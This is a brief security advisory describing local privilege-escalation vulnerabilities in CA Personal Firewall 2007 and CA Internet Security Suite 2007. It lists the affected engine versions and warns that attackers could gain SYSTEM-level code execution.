Multiple Computer Associates security-related products are prone to multiple local privilege-escalation vulnerabilities.
 
An attacker can leverage these issues to execute arbitrary code with SYSTEM-level privileges. This could result in the complete compromise of vulnerable computers.
 
These isses affect CA Personal Firewall 2007 (v9.0) Engine version 1.0.173 and prior and CA Internet Security Suite 2007 version 3.0 with CA Personal Firewall 2007 version 9.0 Engine version 1.0.173 and prior.
